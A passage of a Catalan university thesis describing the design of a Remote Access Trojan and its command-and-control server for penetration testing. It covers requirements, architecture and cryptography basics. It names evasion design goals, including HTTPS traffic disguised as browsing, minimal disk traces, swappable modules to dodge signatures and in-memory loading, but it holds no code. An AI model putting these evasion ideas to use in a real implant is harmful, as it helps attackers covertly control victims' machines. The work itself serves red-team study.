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Resum del treball

Vivim a un mén on les TIC juguen un paper fonamental en la vida de les
persones. D’igual manera, la seguretat d’aquestes és un aspecte clau per tal
d’assegurar la seguretat i privacitat de la vida digital de totes aquestes
persones. Aquest projecte es planteja amb la intencié de facilitar I'evolucio i
maduracié de les solucions de seguretat actuals, proporcionant una eina de
control remot discreta i funcional als equips de seguretat ofensiva,
encarregats de buscar les limitacions de les solucions de seguretat actuals
amb la finalitat de millorar-les.

L’objectiu d’aquest projecte consisteix en el desenvolupament d’'una eina de
control remot i el seu servidor de comandament i control, a més de la
implementacio6 de diferents técniques d’evasio de solucions de seguretat. Tot
aquest procés es desenvolupa seguint una metodologia capa¢ d’adaptar-se
dinamicament a noves condicions, assegurant aixi I'adaptabilitat de la solucid
desenvolupada. Aquest document tracta des de I'analisi inicial i el disseny de
la solucid, fins a la implementacio, evasié de solucions de seguretat i proves
d’aquesta, proporcionant una visié completa de tot el procés de
desenvolupament.

Abstract

We live in a world where ICT plays a fundamental role in people's lives.
Similarly, the security of these is a key aspect to ensure the security and
privacy of digital life for all these people. This project is intended to facilitate
the evolution and maturation of current security solutions, providing a discrete
and functional remote control tool to the offensive security teams, responsible




for seeking the limitations of current security solutions in order to improve
them.

The objective of this project consists of the development of a remote control
tool and its command and control server, as well as the implementation of
different techniques to evade security solutions. This entire process is
developed following a methodology capable of dynamically adapting to new
conditions, thus ensuring the adaptability of the solution developed. This
document covers from the initial analysis and design of the solution, to the
implementation, evasion of security solutions and testing of the developed
system, providing a complete view of the entire development process.
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1 Introduccio

En aquest capitol es presenta una introduccio al projecte desenvolupat.
Entre altres, es tracten aspectes com la justificacié d’aquest a més de posar-lo
en context i plantejar els seus objectius principals. També es presenta la
metodologia utilitzada per al seu desenvolupament, aixi com la planificacié
temporal d’aquest i una descripcio dels productes obtinguts amb el
desenvolupament del projecte. Per ultim, es comenta també I'estructura de la
memoria, presentant els diferents capitols que formen part d’aquesta.

1.1 Context i justificacio del treball

Avui en dia, la seguretat de les Tecnologies de la Informacié i la
Comunicacio juga un paper fonamental en les vides de les persones. El mén
s’esta digitalitzant cada dia més i més i, acd, en moltes ocasions, suposa una
millora per a la societat, perd també introdueix riscs i nous problemes per a
aquesta.

Existeixen usuaris que utilitzen les Tecnologies de la Informacié i la
Comunicacio de forma malintencionada. Aquests, cada dia més especialitzats,
utilitzen les TIC amb interessos com el robatori d’informacid, I'estafa o
I'espionatge.

Les solucions de seguretat per a les TIC, com els antivirus o els HIDS
(Host Intrusion Detection System), també sdn cada dia més efectius. No
obstant, els atacants també s’adapten als nous escenaris i aconsegueixen
sempre anar un pas per davant d'aquestes solucions de seguretat. Per aixo, és
necessari dedicar esforgos en la millora d’aquestes solucions.

Els analistes de seguretat que prenen el paper d’atacant per tal de
comprovar la seguretat dels sistemes de les organitzacions juguen un paper
fonamental en la millora de la seguretat d’aquestes i, en general, en la millora
de les eines de deteccid i solucions de seguretat aplicables a la societat en
general. Aquests desenvolupen noves eines ofensives amb la intencio
d’identificar les limitacions de les solucions de seguretat actuals i ajudar aixi a
I'ampliacié i millora d’aquestes, preparant-les per a ser capaces d’identificar i
defensar-se front a noves técniques que pogueren utilitzar els atacants.

Aixi doncs, i amb la finalitat de contribuir en la millora de les solucions de
seguretat disponibles i, especialment, amb els equips de seguretat ofensiva
que es dediquen a buscar els punts deébils d'aquestes, es proposa el
desenvolupament d'un RAT (Remote Access Trojan) i el seu servidor de
comandament i control. El desenvolupament d'aquest projecte permet
aprofundir en la comprensié del funcionament de solucions de seguretat, com
els antivirus, i obtenir una ferramenta (2019) que sera utilitzada pels equips de
seguretat ofensiva amb la finalitat de comprovar la validesa de les solucions de
seguretat existents i contribuir aixi a la seua constant millora.



1.2 Objectius del treball

Per tal de donar una solucio a la problematica exposada a 'apartat
anterior es defineix el principal objectiu del projecte: dissenyar i desenvolupar
un RAT (Remote Access Trojan) i el seu servidor CnC (Command & Control).
Aquest RAT sera utilitzat en la realitzacio de tests d’intrusié. Per aixd mateix, el
seu disseny i implementacié inclouran també I'aplicacié de diferents técniques
d’evasio de solucions de seguretat com antivirus o NIDS (Network Intrusion
Detection Systems).

Donades les necessitats i/o caracteristiques del RAT que es proposa,
aquest objectiu principal es pot dividir en diferents subobijectius. Els
subobjectius que es proposen sén els seglents:

e Disseny d’'un sistema funcional basat en 3 components:
o Component que s’'implanta a la maquina de la victima
o Servidor de comandament i control

o Consola d'usuari per a 'administracié, mitjangant el servidor
de comandament i control, dels diferents components
implantats a maquines victima

¢ Implementacio del component implantable i del servidor de
comandament i control

e Aplicacio de técniques d’evasio d’antivirus i altres mesures de
seguretat al component implantable

1.3 Metodologia

Sobre la metodologia proposada per al desenvolupament del projecte
destaquen dos aspectes principals:

e Desenvolupament iteratiu incremental
e Programacié modular basada en components

El desenvolupament iteratiu incremental consisteix, basicament, en el
desenvolupament basat en xicotets increments de la funcionalitat de la solucio.
D’aquesta manera, en cada iteracio del procés s’obté una versié completament
funcional del producte que ofereix un increment en les funcionalitats
implementades o en la qualitat del producte [4].

Aquesta metodologia és bona per a projectes que necessiten canvis a curt
termini o han d’adaptar-se a condicions canviants durant el procés de
desenvolupament. En aques projecte tenen importancia aquests dos factors ja
que el resultat ha d’adaptar-se a les continues millores de seguretat que
ofereixen tant els antivirus com els propis sistemes operatius, etc. Aixi doncs, a



la seguent figura s’exempilifica el cicle de vida d’un projecte on s’aplica la
metodologia basada en desenvolupament iteratiu i incremental.

Requirements Analysis & Design
Planning Implementation
Initial
Planning
Evaluation
Testing

ll-lustracié 1: Cicle de vida del desenvolupament iteratiu i incremental

Deployment

La programacié modular basada en components és una téecnica de
disseny de programari que consisteix en separar les funcionalitats d’'un
programa en diferents moduls independents [1]. Aquests mdduls contenen
estrictament només el necessari per a executar un aspecte, o conjunt
d’aspectes molt relacionats, de la funcionalitat del programa. A¢d permet que
aquests components siguin intercanviables per altres mdduls que ofereixen la
mateixa funcionalitat, independentment de la implementacio d’aquesta. Agd
permet realitzar una clara diferenciacio entre la definicio de les funcionalitats
que ofereix el programa i la implementaci6 d’aquestes.

1.4 Definicié de tasques i planificacié temporal

En aquest apartat s’enumeren i es descriuen les diferents tasques que es
duen a terme durant el desenvolupament del projecte. S’inclouen, entre altres,
tasques relacionades amb el desenvolupament de programari o la recerca
d’'informacio i documentacié. A més, una vegada definides aquestes, es
presenta la planificacié temporal seguida, situant sobre el calendari les dates
d’inici i de finalitzacioé de cadascuna de les tasques.

Les diferents tasques plantejades per al desenvolupament del projecte
son les seguents:

o Estudi de la situacio actual: Aquesta tasca consisteix en realitzar
un estudi de la situacié actual de conceptes relacionats amb el
projecte. Des d’altres tipus de programari semblant fins a I'estudi de
les técniques més rellevants utilitzades pels antivirus i per a la
deteccio i identificacié de programari malicios.



Analisi de requeriments: La finalitat d’aquesta tasca és identificar
i detallar els diferents requeriments i necessitats que ha de satisfer
el programari que es desenvolupa.

Especificacio de la solucié: Una vegada determinats els
requeriments del programari i especificades les seues
funcionalitats, la finalitat d’aquesta tasca és dissenyar una solucio
que sigui capag de satisfer els requeriments mitjangant les
funcionalitats especificades.

Implementacioé de la solucié: Aquesta tasca busca plasmar el
disseny proposat en una solucio real i funcional.

Proves de funcionament: Tal i com es pot deduir del nom de la
tasca, una vegada obtinguda la solucio funcional, la finalitat
d’aquesta tasca és provar el correcte funcionament de les
funcionalitats d’aquesta.

Aplicacié de técniques d’evasioé d’antivirus i altres solucions
de seguretat: La finalitat d’aquesta tasca és dotar a la solucio
implementada del mecanismes necessaris per tal de fer-la capag
d’evadir solucions de seguretat, com per exemple antivirus o NIDS.

Preparacio de la memoria: Aquesta ultima tasca consisteix en la
documentacioé del procés de desenvolupament a la memoria del
projecte (aquest document). També s’inclou la preparacio de la
presentacio de resultats.

Una vegada definides les tasques a realitzar, al seguent diagrama de
Gantt es pot observar la distribucié temporal d’aquestes:

8|9 [10[111213[14 1516|1718 1920|2122 23

|Estudi de Ia situacié actual

|Ané|isi de requeriments

|Especificacié de la solucié

|Disseny de la solucié

|implementacié de Ia solucié

|Proves de funcionament

|Ap|icaci6 de técniques d'evasié d'antivirus

IPreparacié de la memoria

ll-lustracié 2: Planificacié temporal de les tasques

A la columna de I'esquerre, les diferents tasques que formen part del
desenvolupament del projecte. A la dreta, numerades des de la 8 a la 23, les
setmanes de I'any 2019 agrupades també pel més al qual corresponen.
Cadascuna d’aquestes setmanes esta dividida en 5 parts, que corresponen als
dies laborals de la setmana.

Aixi doncs, la planificacié temporal estima:




Estudi de la situacié actual: des del 20 de febrer al 8 de marg
Analisi de requeriments: de I'11 al 19 de marg

Especificacio de la solucio: del 18 al 26 de marg

Disseny de la solucio: del 27 de marg al 3 de maig
Implementacié de la solucio: del 2 d'abril al 10 de maig
Proves de funcionament: del 9 d'abril al 17 de maig

Aplicacio de técniques d'evasié d'antivirus: del 16 d'abril al 25 de
maig

Preparacié de la memoria: del 20 de febrer al 4 de juny

Cal destacar dos aspectes de la planificacio temporal. El primer d’ells és
que la preparacio de la memoria esta planificada durant tot el procés de
desenvolupament del projecte ja que continuament es van documentant detalls
d’aquest. El segon aspecte que destaca és la paral-lelitzacié de les tasques de
disseny, implementacié, proves i aplicacioé de técniques d’evasio d’antivirus a la
solucid. Aquesta paral-lelitzacio és deguda a la metodologia basada en el
desenvolupament iteratiu i incremental comentada a I'apartat de metodologia.

1.5 Descripcié de la memoria

Aquest apartat comenta molt breument el contingut del present document.
Aquest s’ha dividit en 5 capitols que tracten els aspectes més rellevants del
desenvolupament del projecte. Aquests aspectes son:

Context tecnoldgic: exposicio del context tecnologic sobre el que es
desenvolupa el projecte, prestant especial atencié a I'entorn i
llenguatge de desenvolupament aixi com també a la gestid i
seguiment d’aquest.

Analisi del problema: exposicié dels trets principals del projecte.
S’analitzen diferents alternatives plantejades per al
desenvolupament del projecte i es prepara un esbos general de
com sera aquest.

Disseny de la solucid: a partir dels aspectes analitzats al capitol
anterior, se seleccionen els més optims i es proposa un disseny
concret per a ser implementat.

Implementacid: procés dut a terme per tal de plasmar el disseny
proposat al capitol anterior en una solucio real i funcional.

Proves: comprovacié del correcte funcionament de la solucié
implementada i validacié del compliment dels objectius del projecte.



2 Context tecnologic

La finalitat d’aquest capitol és presentar el context tecnologic sobre el qual
s’ha desenvolupat el projecte. Es presenten diferents ferramentes utilitzades,
aixi com la justificacié de la seua eleccio. Amb aquesta informacié es pretén
situar el projecte en un context real i donar-li aixi un punt de sortida des del
qual comencar a construir la solucié.

2.1 Entorn i llenguatge de desenvolupament

En aquest apartat es comenten, tal i com el titol indica, I'entorn i el
llenguatge de desenvolupament utilitzats per a la produccié de la solucié. Als
seguents subapartats es comenten les principals caracteristiques d’aquests i es
justifica la seua eleccié.

2.1.1 Visual Studio 2017

Microsoft Visual Studio és un entorn de desenvolupament integrat (IDE)
que permet programar aplicacions (denominades solucions) en llenguatges
com C++, C#, Visual Basic, Java, Python, etc., a més de llocs i aplicacions web
[2]. Disposa de diferents versions (Community, Professional o Enterprise), i en
aquest projecte s’ha utilitzat la Community, ja que és la que millor s’adapta a
les necessitats del projecte.

dq Visual Studio

ll-lustracié 3: Logotip de Visual Studio

Entre altres caracteristiques, Visual Studio proporciona diferents eines
que faciliten al desenvolupador la tasca de programar. Entre elles, s’inclou
I'editor de codi amb suport per a 'autocomplecio (IntelliSense), un debugger
integrat, que facilita la tasca de correccié d’errors i debugging, o altre eines per
al disseny de part de la solucié, com per exemple el disseny de la base de
dades.

A més d’aquestes caracteristiques, Visual Studio permet la integracié amb
eines externes utilitzades per al control de versions, com per exemple Git o
Subversion. Sobre Git, concretament GitHub, utilitzada també per al
desenvolupament del projecte, es parla al proxim apartat. La interficie grafica
de Visual Studio permet aprofitar al maxim la integracié de totes aquestes
eines, facilitant aixi el procés de programacié de la solucié que s’estigui
implementant. A continuacioé es mostra la interficie principal de Visual Studio.
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ll-lustracio 4: Interficie de Visual Studio

2.1.2 NET Framework i C#

.NET Framework és un framework desenvolupat per Microsoft inicialment
per a entorns Windows, pero ara ja disponible per a altres sistemes operatius
com macOS o Linux [3]. Aquest framework proporciona interoperabilitat entre
diferents llenguatges de programacié i un entorn d’execucié multiplataforma.

El programari desenvolupat per a .NET Framework no s’executa
directament sobre el maquinari, siné que s’executa sobre una capa d’abstraccio
anomenada CLR (sigles per a Common Language Runtime), proporcionant aixi
el suport multiplataforma comentat. CLR és una maquina virtual per a
I'execucié de les aplicacions desenvolupades per a .NET Framework. Aquesta
proporciona serveis de seguretat, gesti6 de memoria o gestidé d’excepcions.

Microsoft®

NET

ll-lustracié 5: Logotip de .NET Framework

C# és un llenguatge de programacio orientada a objectes fortament tipat
capac d’executar-se sobre la plataforma .NET Framework. Es un llenguatge
molt semblant a Java, en el que respecta a la seua sintaxis, perd també per la
forma d’executar-se, ja que Java ho fa sobre la maquina virtual de Java i C# ho



fa sobre la maquina virtual CLR comentada a I'anterior paragraf. C# és utilitzat
per al desenvolupament d’aplicacions per a Windows i destaca, entre altres
aspectes, per la senzillesa que ofereix per al desenvolupament d’aplicacions de
tipus client-servidor.

Donat que la solucié desenvolupada al projecte s’executa sobre entorns
Windows i presenta una estructura de tipus client-servidor, desenvolupar el
projecte escollint C# com a llenguatge de programacioé s’ha considerat I'eleccio
més encertada. A més, com es comenta en posteriors capitols, C# ofereix
algunes caracteristiques que seran de profit per a I'evasié d’antivirus i solucions
de seguretat, com per exemple la carrega directament en memoria d’un binari.

2.2 Control de versions i gestio del projecte

En aquest apartat es parla d’algunes ferramentes utilitzades durant el
desenvolupament del projecte. Es presenta una eina utilitzada per a la
realitzacio d’un correcte control de versions del programari desenvolupat i una
altra utilitzada per al seguiment de les diferents tasques que formen part del
projecte.

2.2.1 GitHub

GitHub és una plataforma pensada per al desenvolupament de codi de
forma col-laborativa. Aquesta allotja el codi font i altres arxius de projectes de
desenvolupament de programari i permet realitzar, de forma visual i senzilla, un
correcte control de versions. Per tal de realitzar aquest control, GitHub fa servir
un programari per al control de versions anomenat Git.

GitHub

ll-lustracié 6: Logotip de GitHub

Git, i per tant també GitHub, fan servir una estructura de dades local
anomenada repositori, on es guarden els arxius, directoris i metadades del
projecte que s’esta desenvolupant. Les modificacions realitzades sobre aquests
arxius van quedant emmagatzemades al repositori local. Per tal d’aplicar les
modificacions realitzades al repositori remot (que seria el que s’allotja a GitHub)
cal fer un PUSH utilitzant Git.



A pesar que aquesta eina esta pensada per al treball col-laboratiu, en
aquest cas s’ha decidit utilitzar-la a mode de copia de seguretat i per tal de
separar les versions estables del programari desenvolupat de les que estan de
desenvolupament encara. Aixi doncs, al repositori s’utilitzen dues branques,
una anomenada develop per a les modificacions durant el procés de
desenvolupament i una altra, la principal, anomenada master on es publiquen
les versions estables del producte.

2.2.2 Asana

Asana és una aplicacié web i mobil la funcié de la qual és facilitar la gestio
de les diferents tasques que formen part d’un projecte. Esta pensada per a la
gestio de projectes col-laboratius ja que incorpora moltes funcionalitats
pensades per a proporcionar una facil coordinacio entre els membres de

I'equip.

¢ Jd
asanad

IlI-lustracioé 7: Logotip d'Asana

Aquesta esta formada per diferents arees de treball. Aquestes arees de
treball es poden entendre com a equips de treball, ja que cadascuna
d’aquestes esta associada a un conjunt d’'usuaris (integrants del grup). A
cadascuna de les arees de treball es poden crear diferents projectes. Cada
projecte esta format per un conjunt de tasques que es poden organitzar en
format de llista o en columnes, un format molt interessant i utilitzat per la
metodologia Kanban.

Les diferents tasques disposen d’'una descripcio i poden tenir assignat un
responsable i una data limit. A més, és possible també afegir arxius adjunts o
comentaris, la qual cosa resulta interessant per tal de centralitzar la informacio
necessaria o interessant per al desenvolupament.

En aquest projecte, Asana s’ha utilitzat per tal de fer un seguiment de
I'estat del projecte, aixi com poder determinar de forma rapida i visual, la
planificacié de les tasques. S’ha utilitzat una organitzacio de les tasques en
format de columnes, concretament 3 columnes: tasques pendents, tasques en
desenvolupament i tasques finalitzades.



3 Analisi del problema

En aquest capitol es realitza una analisi en profunditat del problema que
es pretén resoldre i es presenten les primeres pinzellades de la solucié a
implementar. Es tracten diferents aspectes, des de I'especificacié dels diferents
requisits de la solucio fins a la identificacié dels diferents casos d’us del
sistema, passant per la definicié de I'arquitectura de la solucio o la utilitzacio de
diferents tipus de criptografia.

3.1 Especificacio de requisits

En aquest apartat es comenten els diferents requisits que ha de complir la
solucié que es pretén desenvolupar. Aquests s’han dividit en 3 tipus principals:
els requisits arquitectonics de la solucid, requisits funcionals i requisits no
funcionals. Tots tres tipus es plantegen per tal d’encaminar la solucio i
descriure el com sera i que fara aquesta.

3.1.1 Requisits arquitectonics

Aquest tipus de requisit busca descriure com sera I'arquitectura de la
solucio a desenvolupar. Per al cas d’aquest projecte, els requisits arquitectonics
de la solucié inclouen:

e Arquitectura dividida en 3 components independents: el
sistema ha d’estar format per 3 components independents capacos
d’interactuar entre ells. Aquests 3 components han de ser:

o Component implantable a la maquina victima (o Agent):
és la part de la solucié que s’'implanta a I'ordinador de la
victima i s’encarrega d’executar les accions necessaries. Es
comunica amb el servidor de comandament i control per a
obtenir tota la informacid necessaria per a dur a terme la
seua funcio.

o Component d’interaccié entre l'usuari i el sistema (o
Consola): és el component amb el que interactua 'usuari
que utilitza la solucié desenvolupada. Aquest component
també es comunica amb el servidor de comandament i
control per a establir les funcions que ha de realitzar un
determinat Agent.

o Servidor de comandament i control (o CnC): és la part de
la solucié desplegada a un servidor controlat i que
s’encarrega d’interactuar amb els altres dos tipus de
components. Aquest component interpreta les accions que
estableix un determinat usuari mitjangant la Consola i les
proporciona a I’Agent concret que ha d’executar les accions
en questio.
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3.1.2 Requisits no funcionals

Els requisits no funcionals descriuen com ha de ser la solucié que es va a
desenvolupar. Aquest tipus de requisit sol utilitzar-se per tal d’explicar aspectes
de la solucio6 relacionats amb el rendiment, la seguretat o la fiabilitat d’aquesta,
entre altres. Aixi doncs, per al cas d’aquest projecte, s’han identificat els
seguents requisits no funcionals:

e Totes les comunicacions del sistema han d’estar xifrades:
qualsevol interaccio entre els diferents components del sistema ha
de ser protegida. Per aix0, és necessari que totes aquestes
comunicacions es realitzen utilitzant un canal segur xifrat.

e Les comunicacions han de simular trafic web legitim: per tal
d’evitar alcar sospites a un sistema de deteccio d’intrusos, les
comunicacions que s’estableixen entre 'Agent i el CnC han de ser
el menys andmales possible i simular una navegacio web
estandard.

¢ Laimplementacio del sistema ha de ser modular: els diferents
components del sistema i els moduls d’aquests han de poder ser
substituits, millorats i/o ampliats sense comprometre el
funcionament dels altres components o moduls.

¢ Les funcionalitats del sistema han de ser modulars i
ampliables: les funcionalitats que implementa el sistema han de
poder ser ampliables i/o modificables per tal de que aquest pugui
adaptar-se a noves condicions del context.

3.1.3 Requisits funcionals

Els requisits funcionals estableixen la base per al funcionament de la
solucié. Aquests defineixen el com ha de funcionar el sistema, entrant un poc
més en els detalls de la part técnica d’aquest. Els diferents requisits funcionals
que es busca tindre presents a la solucié final inclouen:

e Les comunicacions han d’implementar-se utilitzant HTTPS:
HTTPS proporciona una primera capa de proteccio per a les
comunicacions ja que estableix un canal de comunicacio xifrat
utilitzant SSL o TLS. A més, és un protocol molt habitual entre el
trafic de qualsevol ordinador o xarxa.

e L’Agent ha d’implementar técniques d’evasié d’antivirus i
solucions de seguretat: per tal d’evitar que aquest component
sigui detectat i marcat com a malicios pels antivirus o qualsevol
altra solucié de seguretat, és necessari que aquest implementi
mesures per tal d’evadir aquestes solucions de seguretat.

e L’Agent no ha d’emmagatzemar al disc cap informacié que no
sigui estrictament necessaria: minimitzar la utilitzacié de
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'emmagatzematge evita que les solucions de seguretat, com per
exemple I'antivirus o un HIDS (Host Intrusion Detection System),
puguin analitzar la informacié emmagatzemada per 'Agent i ajuda
a que aquest component passi més desapercebut als ulls d’'un
usuari victima.

e L’Agent només s’encarrega de sol-licitar periodicament
accions i executar-les: evitar que el propi component implantable
implementi totes les funcionalitats permet evadir solucions de
seguretat més facilment i evitar que el component sigui detectat
com a una amenaga. Ago és degut a que si un antivirus obté la
firma del component amb totes les funcions implementades caldria
modificar tot el component per a evadir aquesta firma. No obstant,
si un antivirus obté i marca com a maliciosa la firma d’'un modul,
nomeés caldria modificar el modul per a evadir esta firma, deixant
intacte el propi component.

e Cada Agent només pot ser controlat per 1 Gnic usuari al mateix
temps: evitar que dos o més usuaris del sistema interactuen al
mateix temps amb un mateix Agent s’evita que un usuari pugui
pertorbar el treball que altre usuari esta realitzant amb eixe mateix
Agent.

3.2 Arquitectura de la solucié

En aquest apartat es presenta I'arquitectura basica de la solucio
implementada. Aquesta esta basada en les especificacions comentades a
I'apartat d’especificacié de requisits i, com ja s’ha comentat, esta formada per 3
components principals. Aquesta arquitectura basada en 3 components
independents aporta la modularitat desitjada a la solucio, permetent la
substitucié o reimplementacié de qualsevol d’ells sense afectar al funcionament
i implementacions dels altres.

Seguint amb I'estructura descrita als requisits arquitectonics, es proposa
una solucié basada en 1 unic servidor de comandament i control, n potencials
consoles d’interacciéo amb el sistema i n potencials components implantats a
maquines victima. Al seglent esquema es veu representada aquesta
arquitectura.
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ll-lustracié 8: Arquitectura basica del sistema

A l'anterior esquema es representen les n potencials Consoles que
interactuen amb I'dnic servidor CnC i els n potencials Agents que també
interactuen amb I'tnic servidor CnC. Aixi doncs, i encara que no forma part de
I'estructura en si, a I'esquema s'observen els dos tipus d’interaccié que
existeixen al sistema.

3.3 Criptografia

En aquest apartat es parlen de diferents tipus de criptografia que sén
interessants de cara al disseny de la solucié. Concretament, es parla de la
criptografia basada en clau simétrica i la criptografia basada en clau publica-
privada (asimeétrica). Per a cadascuna d’aquestes, s’explica el concepte, de
forma general, i es comenta la seua utilitat en el marc del projecte que s’esta
desenvolupant.

3.3.1 Criptografia de clau simetrica

La criptografia de clau simétrica, o també coneguda com a criptografia de
clau compartida, es caracteritza per la utilitzacié d’una unica clau per al xifrat i
desxifrat de la informacid. Aquest tipus de criptografia permet a un emissor i un
receptor comunicar-se de forma segura si ambdds comparteixen la mateixa
clau, la qual cosa dona nom a la criptografia de clau compartida. En aquest
cas, I'emissor seria qui xifra la informacio utilitzant la clau compartida i el
receptor seria qui la desxifraria, utilitzant la mateixa clau.

Quan es parla de I'ts de la criptografia de clau simétrica, assumim que les
dues parts que intervenen en la comunicacié han acordat la clau compartida de
forma segura. Es a dir, assumim que ningt que no siguin els dos implicats
coneix la clau. D’ago es parla en el subapartat dedicat a l'intercanvi de claus.
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La utilitzacio d’aquest tipus de criptografia ofereix alguns avantatges, com
per exemple, la possibilitat de xifrar i desxifrar dades més rapidament que amb
la utilitzacié d’altres esquemes criptografics [5]. No obstant, un dels
inconvenients més rellevants que presenta és que cal mantenir una clau per
cada parell d’'implicats en la transmissio de la informacid. Aixi doncs, en una
comunicacio on existeixen n interventors on tots interactuen amb tots,
cadascun d’ells haura de gestionar i emmagatzemanr n-1 claus.

Al seguent esquema es pot observar la utilitzacié de la clau per al xifrat i
desxifrat de la informacié en una arquitectura basada en criptografia de clau
simétrica. Es pot observar que la clau utilitzada al procés de xifrat i desxifrat és
la mateixa i que aquesta és compartida entre qui realitza cadascun d’aquests
processos.

Symmetric Encryption

Secret Same Key Secret
Key Key

A4$h*L@9.
T6=#/>B#1
R06/J2.>1L
1PRL39P20
——T

Decryption

Plain Text Cipher Text Plain Text

ll-lustracié 9: Esquema basat en criptografia de clau simétrica

Exemples d’algorismes que utilitzen aquest tipus de criptografia n’hi ha
molts. Els més coneguts sén I'algorisme DES (Data Encryption Standard) o
I'algorisme AES (Advanced Encryption Standard) [7].

3.3.2 Criptografia de clau asimetrica

La criptografia basada en clau asimeétrica també coneguda com a
criptografia de clau publica o de clau publica-privada, es caracteritza per la
utilitzacié d’'una clau formada per dues components: la component publica i la
component privada. Aquestes dues components de la clau estan molt
relacionades entre elles i només tenen sentit si s'utilitzen juntes, ja que les
dades xifrades amb la component publica només poden ser desxifrades
utilitzant la component privada.

D’aquestes dues components, com és de suposar, la component publica
és la que pot compartir-se obertament i la component privada és la que, com el
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seu nom indica, s’ha de mantindré en secret. Com s’acaba de comentar, en
aquesta arquitectura criptografica, la component publica de la clau pot ser
comunicada publicament sense que aixd suposi una amenaca per a la
confidencialitat de la informacio que es xifra.

El que es despren de les caracteristiques d’aquest esquema criptografic
€s que, per a un sistema on existeixen n components interactuant amb un unic
component central, aquests només hauria d’emmagatzemar i gestionar una
unica clau (la component privada) i els altres components només haurien
d’emmagatzemar i gestionar una unica clau (la component privada).

Per les arquitectures criptografiques basades en clau asimeétrica no és un
problema la comunicacié de la clau publica als components que volen
transmetre informacio xifrada al posseidor de la clau privada. Com que la
component publica només permet el xifrat de la informacid, no hi ha ningun
problema en que sigui coneguda per tothom.

A continuacio es mostra un diagrama on es pot observar I'arquitectura en
questio. Es pot apreciar I'is de claus diferents per al procés de xifrat i el procés
de desxifrat. Aquestes dues claus son les dues components d’una clau
asimetrica, la component publica de la qual és utilitzada per a xifrar informacio,
i la privada per a desxifrar-la.

Asymmetric Encryption

Public Different Keys Secret
Key Key

A4Sh*L@9.

T6=#/>B#1 -
ecryption

R06/J2.>1L

1PRL39P20

_'

Plain Text Cipher Text Plain Text

II-lustracié 10: Esquema basat en criptografia de clau asimétrica

Existeixen molts algorismes que utilitzen aquest tipus de criptografia. Un
dels més rellevants i utilitzat en I'actualitat és I'algorisme RSA (Rivest-Shamir-
Adleman) [6].
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3.3.3 Intercanvi de claus Diffie-Hellman

Tal i com es comenta a I'apartat de criptografia basada en clau simétrica,
un aspecte important de la seguretat d’aquest esquema criptografic és la
comparticio de la clau secreta de forma segura. Aquesta no é€s una tasca trivial
ja que és complicat disposar d’'un canal segur per tal de compartir i establir la
clau de xifrat abans de comencar a xifrar informacio que es transmet per un
canal insegur.

Diffie i Hellman proposen un model que permet compartir una clau de
forma segura a través d’un canal insegur. Els fonaments d’aquest model estan
basats en la criptografia de clau asimétrica, utilitzant una component publica i
altra privada, i fan us de funcions unidireccionals [9]. Aquestes funcions
presenten unes propietats matematiques que asseguren que sén senzilles de
calcular en un sentit perd computacional o temporalment inabastables en sentit
contrari.

Sense entrar massa en els detalls matematics d’aquest model, Diffie i
Hellman proposen la utilitzacié de I'exponenciacié modular com a funcio
unidireccional. Aquesta permet calcular rapidament el resultat de la seua
aplicacié. No obstant, per tal de calcular la inversa d’aquesta funcio i obtindré
els components inicials a partir del resultat caldria resoldre el problema del
Logaritme Discret. Encara que existeixen diferents aproximacions que
redueixen el temps empleat, com per exemple aplicant la factoritzacio [8], la
resolucié d’aquest problema segueix sent temporalment inviable, ja que no és
possible obtenir la solucié en un temps raonable.

Alice Bob
a,gnp | g.pA —» b
A =g"mod p 2L | B=g"modp
2
K=Bmodp = | B ] K=A"modp

K = A’ mod p = (g" mod p)° mod p = g™ mod p = (g° mod p)" mod p = B" mod p

ll-lustracié 11: Diagrama de l'intercanvi de claus Diffie-Hellman

A l'anterior esquema es pot observar la interaccié entre dos components
per tal de derivar de forma segura una clau simeétrica que utilitzaran més tard
en 'esquema de criptografia simeétrica. Basicament, en primer lloc Alice genera
la seua clau privada a i Bob la seua clau privada b. Alice tria els parametres g i
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p, nombres primers molt grans, que son el generador i el modul utilitzats a la
funcio unidireccional. Alice calcula la seua clau publica A a partir d’'aquests
parametres i la seua clau privada i la transmet a Bob, juntament amb el
generador i el modul. Bob, amb els parametres g i p, juntament amb la seua
clau privada, calcula la seua clau publica B i la transmet a Alice.

Amb aquesta informacid, ambdds calculen la clau secreta compartida
combinant la seua clau privada amb la clau publica de I'altre, obtenint aixi el
mateix valor, tal i com es demostra a la féormula presentada a la il-lustracio.
Aquest valor obtingut és el que s’empra per a xifrar i desxifrar la informacié en
un esquema criptografic basat en clau simeétrica.

La utilitzacié d’aquest model permet aprofitar els avantatges de la
criptografia de clau asimétrica i també els de la de clau simétrica. En primer
lloc, permet transmetre informacié de forma segura sobre un canal insegur,
aprofitant el potencial de la utilitzacié d’una clau publica. | en segon lloc, una
vegada derivada la clau, permet utilitzar 'esquema de criptografia de clau
simeétrica, que ofereix un rapid xifrat i desxifrat de la informacio, estalviant
temps i recursos.

3.4 Casos d’us

Per tal de donar una visio clara de les funcionalitats que ofereix el sistema
per als usuaris es presenta el seguent esquema. Aquest inclou les diferents
funcions disponibles al sistema, els diferents tipus d’usuaris d’aquest i la relacio
entre les funcions i els usuaris, que determina qui pot utilitzar quina funcio.
Aquestes funcions representades son d’alt nivell i només proporcionen una idea
basica de qué és el que ofereix la solucio que es pretén desenvolupar.

(" soome n
— N\

— N

=

=

Usuari Component
\ 4 N Agent

& 4

ll-lustracié 12: Casos d'us del sistema a desenvolupar
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Es pot observar al diagrama anterior I'existéncia de dos usuaris. En el cas
de l'usuari “Component Agent” no s’esta representant el concepte d’'usuari com
a persona fisica que interactua amb el sistema, siné com a entitat consumidora
de les funcionalitats oferides pel sistema.

Aixi doncs, es poden identificar dos tipus de consumidors de
funcionalitats, que serien l'usuari del sistema (a través de la Consola) i els
components Agent. El primer d’aquests pot realitzar 3 tipus basics d’accié:
autenticar-se, llistar els Agents disponibles per a ser controlats i interactuar
amb un Agent en concret per a configurar algun parametre o executar accions.
En el cas dels components Agent, aquests poden establir una clau de xifrat,
sol-licitar la seua configuracié o accions a executar i enviar el resultat de
I'execucié d’alguna accio.
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4 Disseny de la solucio

A partir de I'analisi del problema realitzat, en aquest apartat es concreta ja
el disseny de la solucid. L’objectiu és determinar els aspectes necessaris de
cara a la implementacié de la solucio. Els aspectes més rellevants del disseny
comentats en aquest capitol se centren en la modularitzacié dels components
del sistema, el protocol utilitzat per a establir la clau de xifrat, els diferents tipus
d’interacci6 entre els components del sistema i el disseny de la base de dades.

4.1 Modularitzacié dels components

En aquest apartat es descriu de forma basica la modularitzaci6 dels
